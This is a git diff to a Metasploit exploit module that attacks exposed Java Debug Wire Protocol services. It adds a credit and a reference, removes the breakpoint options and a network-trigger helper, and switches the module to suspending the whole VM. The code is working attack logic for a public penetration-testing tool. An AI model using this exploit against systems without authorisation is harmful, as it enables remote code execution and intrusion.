diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index dfa12d3922..39187b1f3b 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -78,6 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'prdelka', # Vulnerability discovery + 'Michael Schierl', # First exploit seen 'Christophe Alladoum', # JDWP Analysis and Exploit 'Redsadic ' # Metasploit Module ], @@ -86,6 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '96066'], ['EDB', '27179'], ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'], + ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'], ['URL', 'http://www.exploit-db.com/papers/27179/'], ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'], ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html'] @@ -121,14 +123,11 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(8000), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']), - OptString.new('BREAKPOINT', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]), - OptPort.new('BREAKPOINT_PORT', [ false, 'HTTP port to trigger breakpoint automatically (Ex. 8080 on tomcat)' ]) ], self.class) register_advanced_options( [ OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]), - OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]) ], self.class) end @@ -484,7 +483,7 @@ class Metasploit3 < Msf::Exploit::Remote # Sets an event request. When the event described by this request occurs, an event is sent from the target VM def send_event(event_code, args) data = [event_code].pack('C') - data << [SUSPEND_EVENTTHREAD].pack('C') + data << [SUSPEND_ALL].pack('C') data << [args.length].pack('N') args.each do |kind,option| @@ -500,35 +499,8 @@ class Metasploit3 < Msf::Exploit::Remote return response.unpack('N')[0] end - # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket - def force_net_event - print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}") - - rex_socket = Rex::Socket::Tcp.create( - 'PeerHost' => rhost, - 'PeerPort' => datastore['BREAKPOINT_PORT'], - 'Context' => - { - 'Msf' => framework, - 'MsfExploit' => self - } - ) - - add_socket(rex_socket) - - rex_socket.put(rand_text_alphanumeric(4 + rand(4))) - - begin - rex_socket.shutdown - rex_socket.close - rescue IOError - end - - remove_socket(rex_socket) - end - # Parses a received event and compares it with the expected - def parse_event_breakpoint(buf, event_id, thread_id) + def parse_event(buf, event_id, thread_id) len = @vars["objectid_size"] return false if buf.length < 10 + len - 1 @@ -795,8 +767,8 @@ class Metasploit3 < Msf::Exploit::Remote end fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil? - # 2. Suspend the thread before setting the event - suspend_vm(t_id) + # 2. Suspend the VM before setting the event + suspend_vm vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}") step_info = format(@vars["objectid_size"], t_id) @@ -874,13 +846,13 @@ class Metasploit3 < Msf::Exploit::Remote r_id, t_id = set_step_event print_status("#{peer} - Resuming VM and waiting for an event...") - response = resume_vm(t_id) + response = resume_vm - unless parse_event_breakpoint(response, r_id, t_id) + unless parse_event(response, r_id, t_id) datastore['NUM_RETRIES'].times do |i| print_status("#{peer} - Received #{i+1} responses that are not a 'step into' event...") buf = read_reply - break if parse_event_breakpoint(buf, r_id, t_id) + break if parse_event(buf, r_id, t_id) if i == datastore['NUM_RETRIES'] fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")